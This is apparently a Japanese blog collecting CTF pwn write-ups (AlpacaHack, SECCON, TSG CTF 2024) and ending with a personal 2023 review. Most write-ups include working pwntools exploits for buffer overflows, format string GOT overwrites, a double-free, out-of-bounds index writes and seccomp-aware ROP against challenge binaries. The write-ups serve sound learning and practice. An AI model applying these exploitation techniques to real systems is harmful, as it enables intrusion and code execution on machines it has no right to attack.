AlpacaHack Round 10

AlpacaHack Round10にコンテスト中に参加できなかったので、upsolveのメモです。

oyster

問題のコードを見ると、usernameとpasswordの入力を受け付け、これが指定された値と一致している場合にシェルが取れるという使用になっている。

  if (strcmp(cred.username, "root") == 0) {
    if (strcmp(cred.password, password) == 0)
      cred.err = 0;
  } else {
    cred.err = -1;
  }

以上の認証を行っているコードを読むと、usernameはrootと明示されているが、passwordについてはsetupにあるようにランダムに設定されており、これを求めるのは難しいように思う。

プログラムの怪しい箇所を探しているとgetstr関数の以下の行が見つかる。

  /* Remove trailing newline */
  buf[strlen(buf)-1] = '\0';

strlen(buf)が0のとき、buf[-1] = '\0'となり、bufの範囲外の書き込みをすることができてしまう。

cred.errによる分岐を見てみる。

  if (cred.err < 0) {
    puts("[-] Invalid username or password");
  } else {
    puts("[+] Authenticated");
    system("/bin/sh");
  }

このようにcred.errが負の値である場合に認証が失敗になることがわかる。 これを正の値に書き換えられないか考えてみる。

gef➤  x/32xg $rsp
0x7fffffffe220:    0xffffffffffffffff    0x64726f7773736170
0x7fffffffe230:    0x0000000000000000    0x0000000000000000
0x7fffffffe240:    0x0000000000000000    0x00000000746f6f72
0x7fffffffe250:    0x0000000000000000    0x0000000000000000
0x7fffffffe260:    0x0000000000000000    0x0000000000000000

以上は、usernameとpasswordの入力を行った時点でのスタックの状態である。 先頭に0xffffffffffffffffつまり-1が入っており、ここがerrである。 そこに連続して、passwordと入力した文字列が配置され、0x20バイト先にrootとusernameが配置されている。

passwordに空文字を入力すると、cred.errを1バイト書き換えることができ、エンディアンを考慮すると0x00ffffffffffffffになります。 最上位ビットが0であるため、これは正の値でありcred.err < 0の判定を回避する事ができます。

以下、ソルバーです。

from pwn import *

elf = ELF('./oyster')
# io = process(elf.path)
io = remote('34.170.146.252', 44367)

io.sendlineafter(b'Username: ', b'root')
io.sendlineafter(b'Password: ', b'\x00')

io.interactive()

kangaroo

プログラムを見ると、g_messagesに書き込みや読み出しができる他、関数ポインタfn_claerを使ってg_messageを初期化するclear_message関数を呼び出すことができます。

明らかにfn_clearが怪しく、g_messageとfn_clearは共にグローバル変数に定義されており、うまくfn_clearを書き換えられないか考えます。

read_line関数では、引数のbufのアドレスからからSIZE分だけ読み取っているため、ここにSIZE * (SLOT - 1)より大きいアドレスを与えることができれば、g_messagesの範囲外に書き込むことができます。

get_offsetを見ると、indexについて負の方向のチェックがないため、負の大きな値を与えて、offset = index * SIZEでオーバーフローを発生させ、offsetをSIZE * (SLOT - 1)より大きく、判定条件であるsizeof(g_messages)未満の値にしてみます。 このあたりの計算は苦手なので、AIに丸投げしていい感じの値を見つけました。(ちゃんと勉強します。)

次にこれを利用する方法を考えます。 system関数は使われていないため、libcのアドレスを求める必要があります。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ここで、fn_clearをprintfに書き換え、FSBを使ってlibcのアドレスをリークさせます。 リークができれば、g_messageに/bin/shを書き込み、fn_clearをsystemに書き換えて実行させることでシェルを取得できます。

from pwn import *

elf = ELF('./kangaroo')
libc = ELF('./libc.so.6'# io = process(elf.path)
io = remote('34.170.146.252', 54223)

SIZE = 0x48

def read(index, message):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Index: ', str(index).encode())
    io.sendlineafter(b'Message: ', message)

def write(index):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'Index: ', str(index).encode())

def clear():
    io.sendlineafter(b'> ', b'3')

index = -1024819115206086193
read(index, b'a'*8 + p64(elf.sym['printf']))
read(0, b'%p-%p-%p-%p-%p-%p-%p-%p!%p')
clear()

io.recvuntil(b'!0x')
leak_address = int(io.recv(12), 16)
log.info(f"leak address: {hex(leak_address)}")

libc.address = leak_address - 122 + 0xb0 - libc.sym["__libc_start_main"]

log.info(f"libc address: {hex(libc.address)}")

read(index, b'a' * 8 + p64(libc.sym["system"]))
read(0, b'/bin/sh')
clear()

io.interactive()

AlpacaHack SECCON CTF 13 決勝観戦CTF

AlpacaHack SECCON CTF 13のpwnについてのwriteupです.

danger of buffer overflow

問題のコードを見ると,getsで標準入力を受け取り,その後bye関数のアドレスが格納された関数ポインタfuncptrが実行されています.

main関数中のgets(buf)には自明なバッファオーバーフローがあります. プログラム内にはフラグの読み出しを行うprint_flag関数が用意されているため,funcptrをこのアドレスに書き換えることで,print_flag関数を実行させることができます.

ソルバーは以下の通りです.

from pwn import *

elf = ELF('./buffer-overflow')
io = process(elf.path)

payload = b'a' * 0x8
payload += p64(elf.symbols['print_flag'])

io.sendlineafter(b'gets to buf: ', payload)
io.interactive()

play with memory

問題のコードの以下に注目します.

  scanf("%4s", &number);

  if (number == 12345) {
    print_flag();
  } else {
    printf("number: %d (0x%x)", number, number);
  }

int型の変数numberが12345と一致するとフラグが獲得できます. しかし,scanfでは%4sと4文字の文字として入力を受け取っているため,そのまま数字を入力してもフラグを獲得することができません. よって,整数として12345になるような文字の入力をします.

12345 = 0x3039であり,0x30と0x39はそれぞれASCIIコードで'0'と'9'を表しているので,これを入力すれば良いです. リトルエンディアンを考慮して,この順番になるように90を入力します.

input your number!: 90
Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}

Can U Keep A Secret?

問題のコードを読むと,secretという乱数が定義されており,これと同じ数字を入力するとフラグが獲得できます. secretは以下のように設定されています.

    unsigned int secret = rand(), input;
    printf("secret: %u\n", secret);

    // can u keep a secret??/
    secret *= rand();
    secret *= 0x5EC12E7;

一度secretの値が出力されますが,その後再度乱数と0x5EC12E7をかけています. ここで掛けている乱数がわからなければsecretを特定することができません.

ここで手詰まりになってしまいましたが,デコンパイルしてみるとsecret *= rand()が含まれていないことがわかります.

よって,出力された値に0x5EC12E7を掛けたものがsecretの値となり,これを入力すれば良いです.

以下がソルバーです.

from pwn import *

elf = ELF('./challenge')
io = process(elf.path)

io.recvuntil(b'secret: ')
secret = int(io.recvline().strip())
secret *= 0x5ec12e7

io.sendline(str(secret).encode())

io.interactive()

cache crasher

自前で実装したヒープやtcacheのようなものになっています. このコードの問題点を探していると,まずfree時に何も確認をしておらずdouble-freeが可能です. chunkAをfreeした後に再度freeをすると,cacheリストはchunkAのアドレスを差し続けることになります.

Cache:
0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> ...

では,この状態でallocすることを考えます.

  if (cache != NULL) {
    res = cache;
    cache = res->next_chunk;
  }

この場合,cacheにchunkが存在しているため,以上のコードでallocが行われます. つまり,chuckAが返され,cacheの先頭は再度chunkAになります.

ここで,その後に入力するdataについて考えます.

union chunk {
  union chunk* next_chunk;
  size_t val;
};

chunkは以上のように共用型で定義されているため,next_chunkとvalは同一のアドレスを共用で利用しています. 仮にvalとして1を入力したとすると,cacheの先頭はchunkAであり,next_chunkのアドレスが1となります.

Cache:
0x4051a0 -> 0x1
Buffer:
buf[0]: 0x4051a0 (val: 0x1)

よって,この状態から2度allocをすると任意のアドレスに書き込みができます. 問題の先頭では,funcptrとprint_flagのアドレスが与えら得ているため,funcptrの中身をprint_flagのアドレスに書き換えることで.print_flagを実行させることができます.

以下がソルバーです.

from pwn import *

elf = ELF('./cache')
io = process(elf.path)

def alloc(val):
    io.sendlineafter(b'opcode(0: alloc, 1: free): ', b'0')
    io.sendline(str(val).encode())
    
def free(ind):
    io.sendlineafter(b'opcode(0: alloc, 1: free): ', b'1')
    io.sendlineafter(b'what index to free: ', str(ind).encode())
    
io.recvuntil(b'address of print_flag: ')
print_flag_address = int(io.recvline().strip(), 16)
io.recvuntil(b'address of funcptr: ')
funcptr_address = int(io.recvline().strip(), 16)

alloc(0x1)
free(0)
free(0)
alloc(funcptr_address)
alloc(0x1)
alloc(print_flag_address)

io.interactive()

Alpaca Wakekko

問題のコードを見ると,'alpaca'の途中までが出力されるので,その続きを入力し続けるようなプログラムになっています.

gets(ans)にはバッファオーバーフローが存在しており,canaryも存在していないことからリターンアドレスの書き換えが可能であることがわかります.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ここで2点問題があります.

1点目は関数wakekkoを途中で終了させてはならないということです.

    if(strcmp(ans, word + pos) != 0) {
        system("echo ':('\n");
        exit(1);
    }

入力が不適切であると,このif文の内部が実行されてしまいexitでプログラムが終了してしまいます. つまり,この判定を回避して関数を終了させる必要があります.

2点目は,シェルの奪取方法です. system関数はすでに含まれているので,これを利用することができますが,pop rdiのガジェットもなく,'/bin/sh'の文字列も含まれていないため,うまくsystem関数の引数を設定する必要があります.

まずは関数の終了についてです.

スタックの様子を見ると,ansの下にposの値が含まれているため,posを乱数に関係なく自由に設定できます. 設定した値に合わせてansを入力することで正しく判定をクリアすることができます. これでリターンアドレスを奪うことが可能になります.

次に2点目のrdiの設定方法です. ここではgets関数の終了時のrdiに注目します. gets関数の終了時には,rdiに_IO_stdfile_0_lockのアドレスが格納されます.

──────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe1c0  →  0x0000000061616161 ("aaaa"?)
$rbx   : 0x727af5f2        
$rcx   : 0x00007ffff7f9daa0  →  0x00000000fbad208b
$rdx   : 0x1               
$rsp   : 0x00007fffffffe1c0  →  0x0000000061616161 ("aaaa"?)
$rbp   : 0x00007fffffffe1f0  →  0x00007fffffffe200  →  0x0000000000000001
$rsi   : 0x1               
$rdi   : 0x00007ffff7f9fa80  →  0x0000000000000000

[...]

────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4012de <wakekko+0068>   mov    rdi, rax
     0x4012e1 <wakekko+006b>   mov    eax, 0x0
     0x4012e6 <wakekko+0070>   call   0x401150
 →   0x4012eb <wakekko+0075>   mov    eax, DWORD PTR [rbp-0x1c]
     0x4012ee <wakekko+0078>   movsxd rdx, eax
     0x4012f1 <wakekko+007b>   mov    rax, QWORD PTR [rbp-0x18]
     0x4012f5 <wakekko+007f>   add    rdx, rax
     0x4012f8 <wakekko+0082>   lea    rax, [rbp-0x30]
     0x4012fc <wakekko+0086>   mov    rsi, rdx

[...]

gef➤  x/xg 0x00007ffff7f9fa80
0x7ffff7f9fa80 <_IO_stdfile_0_lock>:    0x0000000000000000

このアドレスは書き込み可能であるため,一度getsを呼び出すことでrdiにIO_stdfile_0_lockのアドレスをセットし,再度getsを呼び出すことでIO_stdfile_0_lockに書き込み,rdiをIO_stdfile_0_lockにすることができます. この後にsystemを実行することで,書き込んだ文字列をsystemに渡すことができます. なお,IO_stdfile_0_lockに書き込まれた文字列は5文字目が1だけデクリメントされるため,/bin/shではなく/bin0shを書き込むことに注意が必要です.

以下がソルバーになります.

from pwn import *

elf = ELF('./challenge')
io = process(elf.path)

ret_addr = 0x40101a
alpaca_str_addr = 0x402004

payload = b'alpaca'
payload += b'\x00' * (0x10 - len(payload)) # 文字列のnull終端が必要
payload += p32(0x0)
payload += p32(0x0)
payload += p64(alpaca_str_addr) # "alpaca"のアドレスをそのままにする
payload += b'a' * 0x18 # オフセット
payload += p64(ret_addr)
payload += p64(elf.sym['gets'])
payload += p64(ret_addr)
payload += p64(elf.sym['gets'])
payload += p64(ret_addr)
payload += p64(elf.sym['system'])

io.sendline(payload)

io.sendline(b'a') #1回目のgetsはrdiのセットなので適当な入力で良い
io.sendline(b'/bin0sh')

io.interactive()

TSG CTF 2024 writeup

TSG CTF2024のwriteupです.

Password-Ate-Quiz

脆弱性の特定

コードを見たり実行をしてみると,入力を与えてパスワードと一致するとフラグを入手できることがわかります. パスワードは8bit乱数のkeyとXORを取った状態でメモリに格納されており,入力もkeyとXORを取った後に比較を行うことで判定をしています. また,ヒント機能が実装されており,一度パスワードの入力が失敗するとヒントを見ることができ,再度パスワードの入力ができます.

ここで,ヒントの機能に注目するとhints配列に保存されており,idxで指定することで出力をしています.

int idx;
printf("Enter a hint number (0~2) > ");
if (scanf("%d", &idx) == 1 && idx >= 0) {
    for (int i = 0; i < 8; i++) {
        putchar(hints[idx][i]);
    }
    puts("");
} 

しかし,idx >= 0のように下限のチェックのみで上限はチェックされていないため,スタック内の配列外の範囲を読み出すことができてしまいます.

攻撃手順

以上のようにスタックの中身を読み出せることがわかりました. ヒントの出力の箇所にブレークポイントをはり,スタックの中身を確認してみます.

gef➤  x/32xg $rsp
0x7fffffffe200: 0x0000000000000001      0x7f670394677dbfc0
0x7fffffffe210: 0x00005555555592a0      0x000000000000001b
0x7fffffffe220: 0x00543a31746e6948      0x00533a32746e6948
0x7fffffffe230: 0x00473a33746e6948      0x0000000000000000
0x7fffffffe240: 0x52146ab91414d794      0x521e6ef9121992a1
0x7fffffffe250: 0x1b156ce3140edeb0      0x7f670394675c9ee1
0x7fffffffe260: 0x1e0662f5061cdea1      0x7f670394677ddea1
0x7fffffffe270: 0x7f670394677dbfc0      0x7f670394677dbfc0
0x7fffffffe280: 0x0000000000000000      0x771911cb6586a900

0x7fffffffe220以降にhintsが格納されています.(似た値が格納されているのと,これの表す文字を確認してもhintsであることがわかると思います.) ついで,0x7fffffffe240から0x20がpassword, 0x7fffffffe260から0x20がinputの領域となります. つまり,hintsとしてidxに4を入力すると0x7fffffffe240から8バイト分が出力できます.

この情報から平文のパスワードを取得することを考えます. XORを取った後のinputを見ることができるのですが,入力した値とXOR演算後の値がわかるので,入力値と出力のXORを取ることでkeyを求めることができます.1 さらに,暗号化後のpasswordを読み出せるので.再度keyとXORを取ることで平文のパスワードを求めることができます.

exploit

以上を実装したexploitは以下の通りです.

from pwn import *

elf = ELF("./chall")
io = process(elf.path)
#io = remote("34.146.186.1", 41778)

io.sendlineafter(b"password > ", b"a" * (0x20-1))
io.sendlineafter(b"> ", b"8")
crypted_input = io.recvline().strip()

key = bytes([c1 ^ c2 for c1, c2 in zip(crypted_input, b"a" * 8)])
key_int = int.from_bytes(key, "little")
log.info(f"key: {key_int}")

lines = []
for i in range(4):
    io.sendlineafter(b"> ", str(i+4))
    line = io.recvline().strip(b"\n")
    lines.append(line)

encrypted_password = b"".join(lines)

def xor_block(data, key):
    return bytes([d ^ k for d, k in zip(data, key)])

original_password = b""
for i in range(0, 32, 8):
    block = encrypted_password[i:i+8]
    original_block = xor_block(block, key)
    original_password += original_block

log.info(f"original_password: {original_password}")

io.sendlineafter(b"> ", b"-1")
io.sendlineafter(b"password > ", original_password)
io.interactive()

vuln-img

WIP


  1. inputが\x00ならばkeyがそのまま入るので,そこから直接keyをリークしたらよかったのでは,,,

AlpacaHack Round 6 (Pwn) Writeup

AlpacaHack Round 6 (Pwn)のWriteupです.

inbound

脆弱性の特定

プログラムを見てみると,indexとvalueを入力し,slot配列のうち指定したindexにvalueの値を代入するというプログラムになっています.

入力されたindexについては,以下のようにslotの配列サイズである10を超えないようにチェックが入っています.

  if (index >= 10) {
    puts("[-] out-of-bounds");
    exit(1);
  }

配列サイズを超えるインデックスに関してはチェックされているものの,0より小さい値についてはチェックがないため,slotよりもアドレスが小さい領域に関して配列外参照が可能です.

gdbを使用して,slotよりもアドレスが小さい領域にはどのような値が含まれているか調べてみます.

これを見るとGOTが存在していることがわかります.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

また,Partial RELROであることからGOT overwriteが可能であることがわかります.

GOT overwrite

valueの代入後にはprintfとexitが呼び出されているため,いずれかのGOTをwinに書き換えることを考えます. しかし,すでにprintfは呼び出されており,GOTテーブルのアドレスは解決されています. 以下はmain関数の先頭と,slot[index] = value;の後の値を出力した結果です. printfについてはアドレスが解決されています. slot配列はint型ですが,このアドレスは4バイトを超えており,int型の範囲内で全て書き換えることはできません. そのため,exit関数のGOTを書き換えることにします.

攻撃コード

作成した攻撃コードは以下のようになります.

from pwn import *

elf = ELF('./inbound')
io = process(elf.path)
#io = remote('34.170.146.252', 51979)

slot = 0x404060
index = (slot - elf.got['exit']) // 4
index = -index
log.info('index: %d' % index)
io.sendlineafter(b'index: ', str(index))
io.sendlineafter(b'value: ', str(elf.sym['win']))

io.interactive()

catcpy

脆弱性の特定

本プログラムはstrcpyとstrcatを呼び出すことができるプログラムになっています.

    switch (choice) {
      case 1:
        get_data();
        strcpy(buf, g_buf);
        break;

      case 2:
        get_data();
        strcat(buf, g_buf);
        break;

      default:
        return 0;
    }

ローカル変数のbufグローバル変数g_bufが用意されており,それぞれget_data関数でg_bufに入力を受け付け,これをbufにコピーや連結を行います. ここで,bufへの連結にはサイズの制限がされていないため,0x100を超えて連結をさせることができ,スタックバッファオーバーフローが発生します.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

canaryも無効であるため,リターンアドレスをwin関数に書き換えれば良いです.

リターンアドレス書き換えの失敗

get_data関数ではfgetsで入力を受け付けているため,配列g_bufのサイズ0x100に対して,末尾のヌル文字を考慮した0xff(=255)まで入力することができます. 一度strcpyで長さ255の文字列でbufを埋め,次にstrcatでパターン文字列を入力し,リターンアドレスを奪えること・リターンアドレスまでのオフセットを確認します. RIPにはパターン文字列が入っており,リターンアドレスが奪えていることがわかります. また,オフセットはオフセットは25であることがわかります.

では,はじめにstrcpyで長さ255の文字列を加え,次にstrcatでオフセットの25とwin関数のアドレスを加えたペイロードを投げてみます. これで,win関数に無事飛べるかと思いきや,プログラムが落ちてしまいます.

gdbでexploitの実行を確認してみると,不正なアドレスに実行が移っていることがわかります. 0x401256がwin関数のアドレスであるため,上位ビットに意図していない値が入っていることになります.

これは,strcatがヌル文字列までを連結するという仕様があるためであります. リトルエンディアンの関係で,下位のバイトから入力されていきますが,アドレスは3バイトであり,残りは0となるべきです. しかし,最初の0の箇所がヌル文字の判定となり,それ以降が書き換えられず,元々存在していた値が残ってしまっています.

ヌル埋め

以上で見たように,リターンアドレスの領域を予めヌル埋めしておく必要があります. ここでは,strcatした文字列の末尾がヌルとなることを利用して,1バイトずつ後ろからヌル埋めしていくことを考えます. リターンアドレスの末尾から順にstrcatする文字列の長さを1ずつ短くしていくことを繰り返し,順にヌル埋めすることができます.

その後,上記の要領でリターンアドレスを書き込むことでwin関数に処理を移すことができます.

攻撃コード

作成した攻撃コードは以下のようになります.

from pwn import *

elf = ELF('./catcpy')
#io = process(['gdbserver', 'localhost:1234', './catcpy'])
io = process(elf.path)
#io = remote('34.170.146.252', 13997)

for i in range(4):
    payload = b'a' * 255
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Data: ', payload)
    payload = b'a' * (25 + 5 - i) + b'\x00'
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'Data: ', payload)

payload = b'a' * 255
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Data: ', payload)
payload = b'a' * 25
payload += p64(elf.sym['win'])
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Data: ', payload)

# finish main
io.sendlineafter(b'> ', b'3')

io.interactive()

SECCON Beginners CTF 2024 Writeup

SECCON Beginners CTF 2024のWriteupです。 Pwnに取り組んでkbuf以外の問題を解いたので、解いた4問についての簡単なWriteupです。

simpleoverflow[beginner]

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

問題文にあるように、C言語では0以外がTrueとして扱われます。 そのため、is_adminを0以外の値にすればよいです。 bufのサイズが10なのに対して、readでは0x10だけ読み取っているため、ここでオーバーフローが発生します。 is_adminの値は0以外であればなんでもよいため、bufから溢れるだけ入力してあげればよいです。

simpleoverwrite[easy]

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

main関数を見てみると、先程と同様にreadにオーバーフローがあります。 今回はmain関数内にはフラグを読み出す処理は書かれておらず、別に用意されたwin関数に書かれています。 そのため、win関数を実行する必要があります。 checksecを用いてセキュリティ機構を見てみると、以下のようにcanaryがないので愚直にリターンアドレスを書き換えればよいです。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

後は、win関数のアドレスとリターンアドレスまでのオフセットを求めればよいです。 solverは以下の通りです。

from pwn import *

elf = ELF('./chall')
#io = process(elf.path)
io = remote('simpleoverwrite.beginners.seccon.games', 9001)
context.binary = elf

payload = b'a' * 18
payload += p64(0x401186)

io.sendlineafter(b'input:', payload)

io.interactive()

pure-and-easy[easy]

問題のコードは以下の通りです。

int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}

win関数が用意されているので、これを実行すればよいことがわかります。 main関数を見てみると、printf(buf)の部分にFormat String Bugがあることがわかります。 ここで、checksecを確認してみると

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

となっています。Partial RELROなのでGOT overwriteが可能となります。 そのため、Format String AttackによりGOT overwriteをしましょう。 最後にexit()が呼ばれているため、これを使ってwin関数のアドレスに書き換えればよいです。

pwntoolsのfmtstr_payloadを使うと簡単にpayloadを作成できます。 solverは以下のとおりです。

from pwn import *

elf = ELF('./chall')
#io = process(elf.path)
io = remote('pure-and-easy.beginners.seccon.games', 9000)
context.binary = elf

addr_got_exit = elf.got['exit']
addr_win = elf.symbols['win']

payload = fmtstr_payload(offset = 6, writes = {addr_got_exit: addr_win})
io.sendlineafter(b'> ', payload)

io.interactive()

gachi-rop[normal]

ソースコードはなく実行ファイルのみが与えられるので、実行してみるとsystem関数のアドレスがリークされ、その後入力を受け付けていることがわかります。 canaryは無効になっているので、問題文からも明らかなようにROPを組めばよいとわかります。

system関数のアドレスがリークされているので、そこからlibcのアドレスを求め、system('/bin/sh')を実行すればよいと思いきや、これはうまくいきません。 seccompによりシステムコールが制限されているためです。

$ seccomp-tools dump ./gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

seccomp-toolsで確認すると、execveやexecveatが禁止されています。 そのため、これらを使用しているsystem関数などを使ってシェルを取ることができません。

一方、openやread, writeといったシステムコールは制限されていないので、これを利用してflagファイルを読み出す方針にします。 しかし、配布されたDockerfileの以下の行を見ると、ファイル名が変更されているため、まずはファイル名が必要になります。

RUN  mv /flag.txt ctf4b/flag-$(md5sum /flag.txt | awk '{print $1}').txt

これには、getdentsというシステムコールを用いると指定したディレクトリのエントリを取得することができます。

以上を踏まえて、以下の手順でROPを組むことを考えます。

  1. openにより、ctf4bディレクトリを開く
  2. 1.で開いたファイルディスクリプタに対してgetdentsを用いて、ctf4bに含まれるファイル名を取得する
  3. 2.で取得した情報をwriteにより標準出力に書き出す
  4. 3.でファイル名がわかるので、これをopenする
  5. readによりファイルを読み出す
  6. 読み出した内容をwriteで出力

この手順でフラグが読み出せそうです。 最後に、openを行う際にパス文字列をどこかに書き込んで、そのアドレスを与える必要があります。 そのため、openの前にgets関数を呼び出しておき、ディレクトリ名やファイル名の書き込みを行うようにします。 書き込むアドレスについては、適当に.dataセクションのアドレスを利用しました。 面倒なので、readについてもこのアドレスに上書きする形で利用しました。

solverについては少し長くなってしまったので、こちらのGitHubを参照してください。 もっと簡潔にできると思いますが、ファイル名の読み出しとフラグの読み出しを分けて作成しました。

さいごに

残りのkbufが解けなかったのが残念でした。 来年は全完できるように頑張りたいです。

2023年の振り返り

Wani Hackaseメンバーに触発されたので、来年の目標の1つがアウトプットを頑張るというのもあり、せっかくなので振り返りをしてみようかなと思います。

ちゃっかりこういう人に読まれる文章を書くのは初めてですね。

振り返り

簡単な振り返りです。

1, 2月

特に印象に残ることがなかったのか全然覚えていない。学期末でレポートとかやっていたくらい?

3月

研究室配属に向けて研究室を少し悩んでいた。授業もなく暇だったので、MikanOSをひたすらやっていた記憶。

4月

研究室配属されて研究室での生活が始まった。一応、第1希望していた研究室に入ることはできた。 とはいえ、院試がある関係で研究が本格的に始まるわけでもなく、これといった生活の変化はなく生活していたと思います。

5月

院試の倍率が高そうという脅しを受けつつ院試勉強を徐々に始めた。この辺りから院試のことで頭がいっぱいだったと思う。(後から振り返ればそんなに不安がる必要もなかった気が...)

5月からは縁あって新しいインターンを始めました。色々と勉強させていただいていて、ありがたい限りです。

6, 7月

ほとんど院試勉強をしていた。無事に院試にも合格しました。

6月の中途半端な時期にお引っ越しもしました。

8月

院試から解放されたのもあり、遊んだりしていたと思う。

地元の塩尻でサイバーセキュリティ勉強会というものが開催されていることを初めて知り、帰省を兼ねて現地で初参加をしました。 セキュリティ関係のオフラインイベントに参加したもの初めてだったので、色々な方にお会いして、お話ができて楽しかった。 2月も参加したいですが、卒論発表の直前なので現地参加は難しそう...

9月

10月にあるMWS Cup(マルウェア解析の大会)に向けた準備(DFIRの勉強とか、ハッカソンとか)を本格的に進めていた。

9月の末にはWani Hackaseのメンバーで白浜に行った。勉強会をしたり、白浜観光をしたりと非常に楽しかった。

10月

色々なオフラインイベントに参加した。 10月の頭にはGoogleのinit.gに参加しました。セキュリティを勉強している人たちとたくさん出会えたり、Googleの方の話を聞けたり非常に楽しかった。 末にはCSSに参加した。先述のMWS Cupに参加したり、研究発表とはどういうものか聴講を通して学ぶことができた。

11月

Code Blueの学スタに初めて参加した。ここでも様々な人と出会うことができました。 Code Blue自体も楽しくて、機会があれば来年も行きたいです。

正式に研究テーマも決まり、卒論に向けて本格的に動き出したのもこの時期です。遅いですね。

12月

意外とすんなり研究の成果も出て、心安らかに勉学に励んでいました。

来年の目標

  • CTFを頑張る
  • それなりに研究も頑張る
  • アウトプットを積極的にできるようにする。writeupもできるだけ書きたい。

まとめ

今年はコロナが落ち着いたのもあってか、オフラインのイベントに色々と参加したり、新しいインターンを始めたりと出会いに恵まれました。 勉強する機会もたくさんいただき、学びの多い1年でした。 来年も継続して学びながら、アウトプットもできるように頑張りたいです。

今年も1年お世話になりました。来年もよろしくお願いいたします。